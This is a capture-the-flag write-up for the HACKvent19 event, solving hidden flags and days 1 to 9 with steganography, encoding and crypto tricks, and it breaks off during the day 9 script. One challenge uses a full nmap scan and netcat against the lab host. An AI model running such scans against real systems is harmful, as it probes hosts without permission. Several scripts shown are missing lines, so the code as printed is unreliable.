HACKvent19 writeup

This year’s HACKvent was hosted on the brand new Hacking-Lab 2.0 plattform. Each day from the 1st of december until the 24th a new challenge is published raising in difficulty. The flag format changed from HV18-xxxx-xxxx-xxxx-xxxx-xxxx to HV19{...}. After all I managed to solve all 28 challenges 🙂
HV19.H1 Hidden One
HV19.H2 Hidden Two
HV19.H3 Hidden Three
HV19.H4 Hidden Four
HV19.01 censored
HV19.02 Triangulation
HV19.03 Hodor, Hodor, Hodor
HV19.04 password policy circumvention
HV19.05 Santa Parcel Tracking
HV19.06 bacon and eggs
HV19.07 Santa Rider
HV19.08 SmileNcryptor 4.0
HV19.09 Santas Quick Response 3.0
HV19.10 Guess what
HV19.11 Frolicsome Santa Jokes API
HV19.12 back to basic
HV19.13 TrieMe
HV19.14 Achtung das Flag
HV19.15 Santa’s Workshop
HV19.16 B0rked Calculator
HV19.17 Unicode Portal
HV19.18 Dance with me
HV19.19 U+1F385
HV19.20 i want to play a game
HV19.21 Happy Christmas 256
HV19.22 The command … is lost
HV19.23 Internet Data Archive
HV19.24 ham radio

return to overview ⇧

HV19.H1 – Hidden One

Author: hidden
Sometimes, there are hidden flags. Got your first?

The challenge is hidden in the challenge of day06:

Born: January 22
Died: April 9
Mother: Lady Anne
Father: Sir Nicholas
Secrets: unknown
If we inspect the data carefully, we can notice that after each entry there are additional tabs and spaces:

After a little bit of googling I stumbled upon stegsnow:

stegsnow is a program for concealing messages in text files by appending tabs and spaces
on the end of lines, and for extracting messages from files containing hidden messages.
Tabs and spaces are invisible to most text viewers, hence the steganographic nature of
this encoding scheme.

By copy&pasting the contents of the box (click on the icon in the upper right corner) to a file, we can easily extract the hidden flag:
root@kali:~/hv19/hidden01# stegsnow -C hidden.txt 

The flag is HV19{1stHiddenFound}.

return to overview ⇧

HV19.H2 – Hidden Two

Author: inik
Again a hidden flag.

The flag is hidden in the name of the .mp4 file from the challenge of day07:
root@kali:~/hv19/07# unzip 3dbe0c12-d794-4f79-ae67-09ac27bd099d.zip
Archive:  3dbe0c12-d794-4f79-ae67-09ac27bd099d.zip
  inflating: 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4

The Magic tool of CyberChef quickly reveals that the filename contains the base58-encoded flag:

Of course this can also be done using python:
root@kali:~/hv19/07# pip install base58
root@kali:~/hv19/07# python
Python 2.7.16 (default, Apr  6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import base58
>>> base58.b58decode('3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v')

The flag is HV19{Dont_confuse_0_and_O}.

return to overview ⇧

HV19.H3 – Hidden Three

Author: M. / inik
Not each quote is compl

Since the challenge is in the category Penetration Testing, let’s run a full nmap scan on the whale.hacking-lab.com host:
root@kali:~/hv19/hidden03# nmap whale.hacking-lab.com -p-
Nmap scan report for urb80-74-140-188.ch-meta.net (
Host is up (2.2s latency).
Not shown: 65527 filtered ports
17/tcp    open   qotd
22/tcp    open   ssh
80/tcp    closed http
443/tcp   closed https
2222/tcp  closed EtherNetIP-1
4444/tcp  closed krb524
5555/tcp  closed freeciv
10101/tcp open   ezmeeting-2

Nmap done: 1 IP address (1 host up) scanned in 3504.09 seconds

Very suspicious is the open tcp port 17. The service behind this is called Quote of the Day (QOTD), which perfectly fits the challenge’s description. The service is quite simple: accept a tcp connection, send a random quote, close connection. So let’s have a look using netcat:
root@kali:~/hv19/hidden03# nc -v whale.hacking-lab.com 17
Connection to whale.hacking-lab.com 17 port [tcp/qotd] succeeded!

The server only echoed the letter r. After trying out different approaches I recognized (approximately one hour later), that the server now returns the letter _:
root@kali:~/hv19/hidden03# nc -v whale.hacking-lab.com 17
Connection to whale.hacking-lab.com 17 port [tcp/qotd] succeeded!

Actually this seems to be the flag, which is echoed back from the server very slow (a letter an hour). So we just have to create a little bash script, which retrieves the letter from the server each hour (I set it to 10 minutes just in case) and wait … :
root@kali:~/hv19/hidden03# cat quote.sh 

while true; do
  (date;echo|nc 17) | tee -a flag.txt
  sleep 600

After one day we finally get the full flag.

The flag is HV19{an0ther_DAILY_fl4g}.

return to overview ⇧

HV19.H4 – Hidden Four

Author: M.
No description.

The flag is hidden in the flag of day14. It must be simply run with perl:
root@kali:~/hv19/hidden04# cat flag_14.pl
root@kali:~/hv19/hidden04# perl flag_14.pl
Squ4ring the Circle

The flag is HV19{Squ4ring the Circle}.

return to overview ⇧

HV19.01 – censored

Author: M
I got this little image, but it looks like the best part got censored on the way. Even the tiny preview icon looks clearer than this! Maybe they missed something that would let you restore the original content?

The first challenge of this year provides an image of a blurry QR code as well as a hint that the tiny preview icon looks clearer than this.

Running exiftool on the image reveals that there is actually a thumbnail image included in the file:
root@kali:~/hv19/01# exiftool f182d5f0-1d10-4f0f-a0c1-7cba0981b6da.jpg
ExifTool Version Number         : 11.16
File Name                       : f182d5f0-1d10-4f0f-a0c1-7cba0981b6da.jpg
Thumbnail Image                 : (Binary data 5336 bytes, use -b option to extract)

The thumbnail image can be extracted using the -b option of exiftool and additionally providing -ThumbnailImage:
root@kali:~/hv19/01# exiftool -b -ThumbnailImage f182d5f0-1d10-4f0f-a0c1-7cba0981b6da.jpg > thumbnail.jpg

The extracted thumbnail looks like this:

In order to be able to scan the QR code, we should delete the christmas tree ball around the QR code:

Now the QR code can be scanned eg. using zbarimg:
root@kali:~/hv19/01# zbarimg thumbnail_edited.jpg
scanned 1 barcode symbols from 1 images in 0.03 seconds

The flag is HV19{just-4-PREview!}.

return to overview ⇧

HV19.02 – Triangulation

Author: drschottky
Today we give away decorations for your Christmas tree. But be careful and do not break it.


The challenge provides a zip file, which contains an stl file:
root@kali:~/hv19/02# unzip a5f47ab8-f151-4741-b061-d2ab331bf641.zip 
Archive:  a5f47ab8-f151-4741-b061-d2ab331bf641.zip
  inflating: Triangulation.stl

stl files can be represented in both ASCII and binary. In this case we are dealing with a binary file:
root@kali:~/hv19/02# file Triangulation.stl
Triangulation.stl: data
root@kali:~/hv19/02# hexdump -C Triangulation.stl | head
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  58 20 00 00 61 d9 9b 3e  81 9b 65 bf f7 3e a4 be  |X ..a..>..e..>..|
00000060  c5 20 38 41 74 dc 15 40  81 95 13 42 3d 0a 37 41  |. 8At..@...B=.7A|
00000070  57 3d 13 40 b4 c8 13 42  06 81 13 41 cb a1 e5 3f  |W=.@...B...A...?|
00000080  1f 05 11 42 00 00 fe eb  71 3f c0 33 7e 3d 27 68  |...B....q?.3~='h|
00000090  a4 3e a8 c6 d0 41 00 00  d0 41 8d 17 5b 42 27 31  |.>...A...A..[B'1|
000000a0  d9 41 00 00 d0 41 3f b5  4e 42 37 89 d7 41 4c 37  |.A...A?.NB7..AL7|
000000b0  e9 41 3f b5 4e 42 00 00  31 a6 f8 3e 00 00 00 00  |.A?.NB..1..>....|
000000c0  c5 c8 5f 3f 66 66 3a 41  a6 af 85 40 77 3e 13 42  |.._?ff:A...@w>.B|

In order to process the file more easily, let’s convert it to ASCII using convertSTL:
root@kali:~/hv19/02# git clone https://github.com/cmpolis/convertSTL
Cloning into 'convertSTL'...
remote: Enumerating objects: 10, done.
remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10
Unpacking objects: 100% (10/10), done.
root@kali:~/hv19/02# ./convertSTL/convertSTL.rb Triangulation.stl
Triangulation.stl is in BINARY format, converting to ASCII: Triangulation-ascii.stl

Now the content can be read a little bit more easily:
root@kali:~/hv19/02# head -n 20 Triangulation-ascii.stl 
  facet normal 3.043928E-01 -8.969041E-01 -3.207929E-01
    outer loop
      vertex 1.150800E+01 2.341580E+00 3.689600E+01
      vertex 1.144000E+01 2.300619E+00 3.694600E+01
      vertex 9.219000E+00 1.794000E+00 3.625500E+01
  facet normal 9.450072E-01 6.206107E-02 3.211071E-01
    outer loop
      vertex 2.609700E+01 2.600000E+01 5.477300E+01
      vertex 2.714900E+01 2.600000E+01 5.167700E+01
      vertex 2.694200E+01 2.915200E+01 5.167700E+01
  facet normal 4.856429E-01 0.000000E+00 8.741572E-01
    outer loop
      vertex 1.165000E+01 4.177691E+00 3.681100E+01
      vertex 1.157800E+01 4.138959E+00 3.685100E+01
      vertex 1.165000E+01 2.420174E+00 3.681100E+01

The file defines triangles (polygons), which consist of three vertices and a facet normal. The resulting 3D-model can for example be viewed using an online viewer like www.viewstl.com:

When changing the display option to Wireframe, we can see that within the christmas tree ball, there seems to be the QR code we are looking for:

After filtering out different triangles and having a look at the resulting model, it turned out, that the QR code can be viewed quite good if we extract all triangles with a facet normal of 0.0 0.0 -1.0:
#!/usr/bin/env python

lines = open('Triangulation-ascii.stl').read().split('\n')

for i in range(len(lines)):
  line = lines[i]
  if ('facet normal 0.000000E+00 0.000000E+00 -1.000000E+00' in line):
root@kali:~/hv19/02# ./extractQR.py > qrcode.stl

The resulting model looks like this (QR code moved to the center and color turned to black):

The QR code can for example be scanned using zxing.org:

The flag is HV19{Cr4ck_Th3_B411!}.

return to overview ⇧

HV19.03 – Hodor, Hodor, Hodor

Author: otaku feat. trolli101

$HODOR: hhodor. Hodor. Hodor!?  = `hodor?!? HODOR!? hodor? Hodor oHodor. hodor? , HODOR!?! ohodor!?  dhodor? hodor odhodor? d HodorHodor  Hodor!? HODOR HODOR? hodor! hodor!? HODOR hodor! hodor? ! 

hodor?!? Hodor Hodor Hodor? Hodor HODOR rhodor? HODOR Hodor!? h4Hodor?!? Hodor?!? 0r hhodor? Hodor!? oHodor?! hodor? Hodor Hodor! HODOR Hodor hodor? 64 HODOR Hodor HODOR!? hodor? Hodor!? Hodor!? .
HODOR?!? hodor- hodorHoOodoOor Hodor?!? OHoOodoOorHooodorrHODOR hodor. oHODOR... Dhodor- hodor?! HooodorrHODOR HoOodoOorHooodorrHODOR RoHODOR... HODOR!?! 1hodor?! HODOR... DHODOR- HODOR!?! HooodorrHODOR Hodor- HODORHoOodoOor HODOR!?! HODOR... DHODORHoOodoOor hodor. Hodor! HoOodoOorHodor HODORHoOodoOor 0Hooodorrhodor HoOodoOorHooodorrHODOR 0=`;
hodor.hod(hhodor. Hodor. Hodor!? );

Googling for hodor language reveals this page: www.hodor-lang.org.

Accordingly we only have to install the npm package hodor-lang
root@kali:~/hv19/03# npm install -g hodor-lang
/usr/local/bin/hodor -> /usr/local/lib/node_modules/hodor-lang/bin/hodor
/usr/local/bin/js2hd -> /usr/local/lib/node_modules/hodor-lang/bin/js2hd
+ hodor-lang@1.0.2
added 54 packages from 41 contributors in 2.283s

… and run the provided program:
root@kali:~/hv19/03# hodor hv03.hd 
HODOR: \-> hv03.hd
Awesome, you decoded Hodors language! 

As sis a real h4xx0r he loves base64 as well.


Base64-decoding the output string yields the flag:
root@kali:~/hv19/03# echo SFYxOXtoMDFkLXRoMy1kMDByLTQyMDQtbGQ0WX0=|base64 -d

The flag is HV19{h01d-th3-d00r-4204-ld4Y}.

return to overview ⇧

HV19.04 – password policy circumvention

Author: DanMcFly
Santa released a new password policy (more than 40 characters, upper, lower, digit, special).

The elves can’t remember such long passwords, so they found a way to continue to use their old (bad) password:
merry christmas geeks

The provided zip archive contains a AutoHotkey file (.ahk):
root@kali:~/hv19/04# unzip 6473254e-1cb3-444e-9dac-5baeaaaf6d11.zip 
Archive:  6473254e-1cb3-444e-9dac-5baeaaaf6d11.zip
  inflating: HV19-PPC.ahk            
root@kali:~/hv19/04# file HV19-PPC.ahk 
HV19-PPC.ahk: UTF-8 Unicode (with BOM) text, with CRLF line terminators
root@kali:~/hv19/04# cat HV19-PPC.ahk 
FormatTime , x,, MM MMMM yyyy
SendInput, %x%{left 4}{del 2}+{right 2}^c{end}{home}^v{home}V{right 2}{ASC 00123}

SendInput HV19-pass-w0rd

Send - {del}{right}4h

Send {left 8}rmmbr{end}{ASC 00125}{home}{right 10}

Send {left}{left}{del}{del}{left},{right}e{right}3{right 2}e{right}{del 5}{home}H{right 4}

Send {del}R3{right}e{right 2}3{right 2} {right 8} {right} the{right 3}t{right} 0f{right 3}{del}c{end}{left 5}{del 4}

SendInput, -Hack-Vent-Xmas

Send -1337-hack

The file defines hotkeys / hotstrings which can be used with the software AutoHotkey.

When entering the password merry christmas geeks different hotstrings defined within the file are matched and the hotstrings are replaced with the corresponding key strokes.

If we don’t want to carry out the replacement on our own, the easiest way is to simply install AutoHotkey, load the script and enter the password.

After installing AutoHotkey on a windows machine, we can simply double-click the .ahk file in order to load the script.

Now we can open notepad and enter the password. One thing to notice here is that we have to wait for each replacement to be finished. Otherwise the resulting string (the flag) gets messed up because our key strokes are interpreted before the replacing key strokes were finished. Thus we enter:

merry [PAUSE]chris[PAUSE]tmas[PAUSE] gee[PAUSE]ks

Result after entering "merry ":

V19{12 December 19

Continuing with "chris":

V19{rmmbrchr- 24h December 19}

Followed by "tmas":

V19{rmmbrrmmbrctmhr- 24h December 19}}

Going on with " gee":

HV19{rmmbr,rem3mber- 24h December 19}}

Finishing with "ks":

HV19{R3memb3r, rem3mber - the 24th 0f December}

The flag is HV19{R3memb3r, rem3mber – the 24th 0f December}.

return to overview ⇧

HV19.05 – Santa Parcel Tracking

Author: inik
To handle the huge load of parcels Santa introduced this year a parcel tracking system. He didn’t like the black and white barcode, so he invented a more solemn barcode. Unfortunately the common barcode readers can’t read it anymore, it only works with the pimped models santa owns. Can you read the barcode

The provided barcode can for example be scanned using zxing.org:

Though this is obviously Not the solution.

Just by viewing the barcode, we can see that the color of each bar is slightly different.

In order to inspect the exact values, we can write a python script which prints the RGB value of each bar by iterating through the horizontal line of pixels and printing the first value after a white pixel (255,255,255):
#!/usr/bin/env python

from PIL import Image

im = Image.open('code.png')
pix = im.load()

lastWhite = False

for w in range(im.size[0]):
  p = pix[w,10]
  if (p != (255,255,255)):
    if (lastWhite):
      lastWhite = False
    lastWhite = True

Running the script outputs the RGB value of each bar:
root@kali:~/hv19/05# ./extract.py 
(115, 80, 88)
(116, 89, 56)
(108, 80, 89)
(109, 69, 73)
(114, 49, 79)
(121, 51, 70)
(115, 80, 48)
(101, 81, 90)
(103, 56, 80)
(122, 57, 52)
(117, 76, 83)
(104, 84, 56)

The value for black would be (0,0,0), but these values are quite higher. Also the values look suspiciously matching in the ASCII range. Accordingly, let’s extract the value for each channel (R,G,B) and see if we can find something useful if we interpret the values as ASCII characters. In order to do this, only a slight adjustment of the former script is required:
#!/usr/bin/env python

from PIL import Image

im = Image.open('code.png')
pix = im.load()

lastWhite = False
r = ''; g = ''; b = ''
for w in range(im.size[0]):
  p = pix[w,10]
  if (p != (255,255,255)):
    if (lastWhite):
      lastWhite = False
      r += chr(p[0])
      g += chr(p[1])
      b += chr(p[2])
    lastWhite = True


Running the script …
root@kali:~/hv19/05# ./extractASCII.py 

… actually yields the flag within the B channel!

The flag is HV19{D1fficult_to_g3t_a_SPT_R3ader}.

return to overview ⇧

HV19.06 – bacon and eggs

Author: T.B.

Francis Bacon was an English philosopher and statesman who served as Attorney General and as Lord Chancellor of England. His works are credited with developing the scientific method and remained influential through the scientific revolution.
Bacon has been called the father of empiricism. His works argued for the possibility of scientific knowledge based only upon inductive reasoning and careful observation of events in nature. Most importantly, he argued science could be achieved by use of a sceptical and methodical approach whereby scientists aim to avoid misleading themselves. Although his practical ideas about such a method, the Baconian method, did not have a longlasting influence, the general idea of the importance and possibility of a sceptical methodology makes Bacon the father of the scientific method. This method was a new rhetorical and theoretical framework for science, the practical details of which are still central in debates about science and methodology.

Bacon was the first recipient of the Queen’s counsel designation, which was conferred in 1597 when Elizabeth I of England reserved Bacon as her legal advisor. After the accession of James VI and I in 1603, Bacon was knighted. He was later created Baron Verulam in 1618 and Viscount St. Alban in 1621.
Because he had no heirs, both titles became extinct upon his death in 1626, at 65 years. Bacon died of pneumonia, with one account by John Aubrey stating that he had contracted the condition while studying the effects of freezing on the preservation of meat. He is buried at St Michael’s Church, St Albans, Hertfordshire.

Born: January 22
Died: April 9
Mother: Lady Anne
Father: Sir Nicholas
Secrets: unknown

The challenge is in the crypto category and the mentioned Francis Bacon devised a cipher called Bacon’s cipher.

The Bacon’s cipher maps 5-bit on a single letter (eg. 01010 --> K). These bits can be encoded within a text by using different font-styles for subsequent letters. An emphasized letter is mapped to 1 and a non-emphasized letter to 0. Applying this to the above text the first letter (F) is emphasized (–> 1), the next two letters (ra) are not (–> 100), the next one (n) is emphasized again (–> 1001) and so forth.

Notice that we have to remove any non-alpha characters from the text beforehand. The following python script reads the input text (stored in text.txt) and separates the text in emphasized and non-emphasized letters by splitting it using the <em> and </em> tags. After this all non-alpha characters are removed and the emphasized and non-emphasized letters are replaced with 1 and 0. Finally a space is inserted after each 5 bits:
#!/usr/bin/env python

import re

txt = open('text.txt').read()
# use a '0' as separator
txt = txt.replace('<em>','0').replace('</em>','0')
# remove all non letter chars (also keep separator)
txt = re.sub('[^a-zA-Z0]', '', txt)

# split by separator
a = txt.split('0')[1:]
ct = ''
for i in range(len(a)):
  if (i%2 == 0): ct += '1'*len(a[i])
  else: ct += '0'*len(a[i])

ct = re.sub('(.{5})', '\\1 ', ct, 0, re.DOTALL)

Running the script yields the ciphertext:
root@kali:~/hv19/06# ./extract.py 
10010 00000 01101 10011 00000 01011 01000 01010 00100 10010 00111 01000 10010 00001 00000 00010 01110 01101 00001 10100 10011 00000 01011 10010 01110 10011 00111 01000 10010 00001 00000 00010 01110 01101 10011 00111 00100 01111 00000 10010 10010 10110 01110 10001 00011 01000 10010 00111 10101 10111 00001 00000 00010 01110 01101 00010 01000 01111 00111 00100 10001 01000 10010 10010 01000 01100 01111 01011 00100 00001 10100 10011 00010 01110 01110 01011 10111 10001 00100 01111 01011 00000 00010 00100 10111 10110 01000 10011 00111 00001 10001 00000 00010 01010 00100 10011 10010 00000 01101 00011 10100 10010 00100 10100 01111 01111 00100 10001 00010 00000 10010 00100 00101 01110 10001 00000 01011 01011 00010 00111 00000 10001 00000 00010 10011 00100 10001 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000 00000

The end of the text does not contain actual ciphertext anymore, which means that we can ignore the 00000 at the end.

Now we can for example use CyberChef to decrypt the ciphertext:


Please notice that we also have to insert 19 after HV at the beginning of the flag.


return to overview ⇧

HV19.07 – Santa Rider

Author: inik
Santa is prototyping a new gadget for his sledge. Unfortunately it still has some glitches, but look for yourself.

For easy download, get it here: HV19-SantaRider.zip

The provided zip archive contains the mp4 video visible in the above screenshot:
root@kali:~/hv19/07# unzip 3dbe0c12-d794-4f79-ae67-09ac27bd099d.zip
Archive:  3dbe0c12-d794-4f79-ae67-09ac27bd099d.zip
  inflating: 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4
root@kali:~/hv19/07# file 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4
3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4: ISO Media, MP4 Base Media v1 [IS0 14496-12:2003]

At the beginning and the end of the video, the LEDs light up one after another in a smooth rhythm. Though in the middle of the video, different LEDs are lighting up in a quick transition.

In order to inspect the patterns in which the LEDs are lighting up, we start by extracting all frames of the video using ffmpeg:
root@kali:~/hv19/07# ffmpeg -ss 00:00 -i 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4 -t 23:00 mov%05d.png
ffmpeg version 4.1.3-1 Copyright (c) 2000-2019 the FFmpeg developers
  built with gcc 8 (Debian 8.3.0-7)
  configuration: --prefix=/usr --extra-version=1 --toolchain=hardened ...
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, mov,mp4,m4a,3gp,3g2,mj2, from '3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4':
    major_brand     : isom
    minor_version   : 512
    compatible_brands: isomiso2avc1mp41
    encoder         : Lavf58.20.100
  Duration: 00:00:22.59, start: 0.000000, bitrate: 925 kb/s
    Stream #0:0(und): Video: h264 (High) (avc1 / 0x31637661), yuv420p(tv, bt709/unknown/bt709), 1280x720 [SAR 1:1 DAR 16:9], 914 kb/s, 30 fps, 30 tbr, 15360 tbn, 60 tbc (default)
      handler_name    : VideoHandler
    Stream #0:1(und): Audio: aac (LC) (mp4a / 0x6134706D), 48000 Hz, stereo, fltp, 2 kb/s (default)
      handler_name    : SoundHandler
Stream mapping:
  Stream #0:0 -> #0:0 (h264 (native) -> png (native))
Press [q] to stop, [?] for help
Output #0, image2, to 'mov%05d.png':
    major_brand     : isom
    minor_version   : 512
    compatible_brands: isomiso2avc1mp41
    encoder         : Lavf58.20.100
    Stream #0:0(und): Video: png, rgb24, 1280x720 [SAR 1:1 DAR 16:9], q=2-31, 200 kb/s, 30 fps, 30 tbn, 30 tbc (default)
      handler_name    : VideoHandler
      encoder         : Lavc58.35.100 png
frame=  677 fps= 13 q=-0.0 Lsize=N/A time=00:00:22.56 bitrate=N/A speed=0.422x
video:479218kB audio:0kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: unknown

Now we can calmly inspect each frame. The irregular lighting begins approximately at frame 272:

Since there are 8 LEDs the assumption seems likely that each LED is a single bit in a byte. The first lightning pattern is 01001000, which is ASCII for H. The next is 01010110, which in turn is ASCII for V. This should be the flag 🙂 Thus let’s write down all patterns (also writing down the frame number helps debugging if a single character seems wrong):

01001000 272
01010110 275
00110001 280
00111001 283
01111011 286
00110001 290
01101101 293
01011111 295
01100001 298
01101100 301
01110011 304
00110000 307
01011111 311
01110111 314
00110000 317
01110010 319
01101011 323
00110001 326
01101110 329
01100111 332
01011111 335
00110000 338
01101110 340
01011111 344
01100001 347
01011111 350
01110010 354
00110011 356
01101101 358
00110000 361
01110100 365
00110011 367
01011111 371
01100011 374
00110000 376
01101110 380
01110100 383
01110010 385
00110000 389
01101100 391
01111101 394
After writing down all patterns, the following python script extracts the bit string of each line creating an ASCII string:
#!/usr/bin/env python

lines = open('flag.txt').read().split('\n')
fl = ''
for line in lines[:-1]:
  bitstr = line.split(' ')[0]
  fl += chr(int(bitstr,2))

Running the script yields the flag:
root@kali:~/hv19/07# ./printFlag.py

The flag is HV19{1m_als0_w0rk1ng_0n_a_r3m0t3_c0ntr0l}.

return to overview ⇧

HV19.08 – SmileNcryptor 4.0

Author: otaku
You hacked into the system of very-secure-shopping.com and you found a SQL-Dump with $$-creditcards numbers. As a good hacker you inform the company from which you got the dump. The managers tell you that they don’t worry, because the data is encrypted.

Dump-File: dump.zip

Analyze the “Encryption”-method and try to decrypt the flag.

The provided zip archive contains a mysql dump:
root@kali:~/hv19/08# unzip c635204a-6347-45d7-91f8-bd7b94b111f1.zip
Archive:  c635204a-6347-45d7-91f8-bd7b94b111f1.zip
  inflating: dump.sql
root@kali:~/hv19/08# file dump.sql
dump.sql: ASCII text, with CRLF line terminators
root@kali:~/hv19/08# cat dump.sql
-- MySQL dump 10.13  Distrib 5.7.19, for Win64 (x86_64)

CREATE TABLE `creditcards` (
  `cc_id` int(11) NOT NULL AUTO_INCREMENT,
  `cc_owner` varchar(64) DEFAULT NULL,
  `cc_number` varchar(32) DEFAULT NULL,
  `cc_expires` varchar(7) DEFAULT NULL,
  PRIMARY KEY (`cc_id`)
/*!40101 SET character_set_client = @saved_cs_client */;


INSERT INTO `creditcards` VALUES
(1,'Sirius Black',':)QVXSZUVY\ZYYZ[a','12/2020'),
(2,'Hermione Granger',':)QOUW[VT^VY]bZ_','04/2021'),
(3,'Draco Malfoy',':)SPPVSSYVV\YY_\\]','05/2020'),
(4,'Severus Snape',':)RPQRSTUVWXYZ[\]^','10/2020'),
(5,'Ron Weasley',':)QTVWRSVUXW[_Z`\b','11/2020');


CREATE TABLE `flags` (
  `flag_id` int(11) NOT NULL AUTO_INCREMENT,
  `flag_prefix` varchar(5) NOT NULL,
  `flag_content` varchar(29) NOT NULL,
  `flag_suffix` varchar(1) NOT NULL,
  PRIMARY KEY (`flag_id`)
/*!40101 SET character_set_client = @saved_cs_client */;


INSERT INTO `flags` VALUES (1,'HV19{',':)SlQRUPXWVo\Vuv_n_\ajjce','}');


The encrypted data begins with a smiley (:)) followed by upper case letters, which at the end of the data turn into special characters and lower case letters.

Actually this observation is very essential. Assuming that there is a one-to-one mapping from each byte of the encrypted data to an ASCII number of the creditcard numbers, there must be some kind of shift after each byte because the value of the bytes get bigger and bigger to the end of the data.

For the first byte of the creditcards data there are three different values: Q (0x51), R (0x52) and S (0x53). Assuming that these must be mapped to a digit from 0 (0x30) to 9 (0x39) the offset must be between 0x53 - 0x39 = 26 and 0x51 - 0x30 = 33.

As already stated because of the observed shift, we increase the offset for each byte by one. After trying out the different offsets beginning from 26, we obviously get a hit at 30 using the following python script:
#!/usr/bin/env python

cc1  = 'QVXSZUVY\\ZYYZ[a'
cc2  = 'QOUW[VT^VY]bZ_'
cc3  = 'SPPVSSYVV\\YY_\\\\]'
cc4  = 'RPQRSTUVWXYZ[\\]^'
cc5  = 'QTVWRSVUXW[_Z`\\b'
flag = 'SlQRUPXWVo\\Vuv_n_\\ajjce'

enc = [cc1,cc2,cc3,cc4,cc5,flag]
for x in range(26,34):
  print('offset = ' + str(x))
  for e in enc:
    dec = ''
    for i in range(len(e)):
      c = e[i]
      dec += chr(ord(c)-(x+i))

Running the script:
root@kali:~/hv19/08# ./crack.py
offset = 26

offset = 27

offset = 28

offset = 29

offset = 30

offset = 31

offset = 32

offset = 33
As we can see clearly, only the offset 30 results in 5 valid creditcard numbers as well as the flag.

The flag is HV19{5M113-420H4-KK3A1-19801}.

return to overview ⇧

HV19.09 – Santas Quick Response 3.0

Author: brp64 feat. M.
Visiting the following railway station has left lasting memories.

Santas brand new gifts distribution system is heavily inspired by it. Here is your personal gift, can you extract the destination path of it?

The first insight can be gained by using google’s image search on the first image, which leads to the wikipedia article of rule 30.

The second major observation is related to the second image, the obviously invalid QR code. Although the major part of the QR code seems to be messed up, the squares in the upper left and upper right corner seem to be untouched. Combining this with the layout of the evolution diagram of rule 30 …

… raises the question if the QR code might be transformed using the rule 30 pyramid.

Initially I wrote a python script, which reads the invalid QR code into a two dimensional array (for further processing) and prints it as ASCII:
root@kali:~/hv19/09# cat qrcode.py
#!/usr/bin/env python

from PIL import Image
import sys

def printQR(qr):
  for i in range(len(qr)):
    for j in range(len(qr[i])):
      if (qr[i][j] == 1): sys.stdout.write('X')
      else: sys.stdout.write(' ')

def readImage(filename):
  data = []
  im = Image.open(filename)
  pix = im.load()
  for h in range(2, im.size[0], 5):
    for w in range(2, im.size[1], 5):
      p = pix[w,h]
      if (p == 0 or p == (0,255)): data[len(data)-1].append(1)
      else: data[len(data)-1].append(0)
  return data

qrcode = readImage('bd659aba-5ad2-4ad3-992c-6f99023792bc.png')

Running the script outputs the QR code as ASCII:
root@kali:~/hv19/09# ./qrcode.py 
X     X XX  XX XXXXX  X X X     X
X     X XXXX  XXXX  XX X  X     X
         XXXXX XX X  XX          
  X  XXXX   X X   X     X  XXXXX 
  XXXX XX X XXX X X   XX       XX
 X    XX  X X     X X XXX  XXX   
    XX  X   X  X    XX  XXX XX XX
 XXX    XX X X X X     XX X XXX  
   XX X   X  XX     XXX XXX   XXX
  X   X    X  XX  X      X X  XX 
XXXX  X XX  X X  X X   X XX   X X
X  X   XX  X X     XXX X XXX  XXX
X  XXX  XX X  XX  X  XXX X    X X
XX  XXX X XX X X   X   X  X X  X 
  X  X XXXX XXX X    X   XX  XX  
 X XX   XX XX XX  X XX   X   X  X
  X XX     XX  X X    X  XX XXXXX
  XXX  XXX    XX    XX XX  X XX X

If we assume that the QR code was XORed with the rule 30 pyramid, we can take the 7th line as a reference, because it contains the timing pattern (X-X-X-X...). XORing the current 7th line with the line as it should actually be within a valid QR code should result in a line of the rule 30 pyramid, if your assumption is correct:

XXXXXXX X XX XXX X XXX XXXXXXX <-- 7th line invalid QR code
XXXXXXX X X X X X X X X X XXXXXXX <-- 7th line in a valid QR code
XX X X X <-- XOR result (line of rule 30?)

We can actually confirm that the result is a line of the rule 30 pyramid. Even more confirmative is the fact that is also the 7th line of the pyramid:

XX X X X <-- 7th line

In order to XOR the invalid QR code with the rule 30 pyramid, we can scale and position the image of the rule 30 pyramid from above (it is not supposed to be centered) and save it as an image with the same size as the QR code image. This way, the python script can be reused to read the image data into a two dimensional array:

Finally we should add a function, which XORs both arrays and saves an array back to an image file. The full script looks like this:
#!/usr/bin/env python

from PIL import Image
import sys

def printQR(qr):
  for i in range(len(qr)):
    for j in range(len(qr[i])):
      if (qr[i][j] == 1): sys.stdout.write('X')
      else: sys.stdout.write(' ')

def readImage(filename):
  data = []
  im = Image.open(filename)
  pix = im.load()
  for h in range(2, im.size[0], 5):
    for w in range(2, im.size[1], 5):
      p = pix[w,h]
      if (p == 0 or p == (0,255)): data[len(data)-1].append(1)
      else: data[len(data)-1].append(0)
  return data

def saveQR(qr, filename):
  im = Image.new('RGB', (39,39))
  arr = []
  arr += [(255,255,255)]*39*3
  for i in range(len(qr)):
    arr += [(255,255,255)]*3
    for j in range(len(qr[i])):
      if (qr[i][j] == 1): arr += [(0,0,0)]
      else: arr += [(255,255,255)]
    arr += [(255,255,255)]*3
  arr += [(255,255,255)]*39*3

def xorImages(img1, img2):
  data = []
  for i in range(len(img1)):
    for j in range(len(img1[i])):
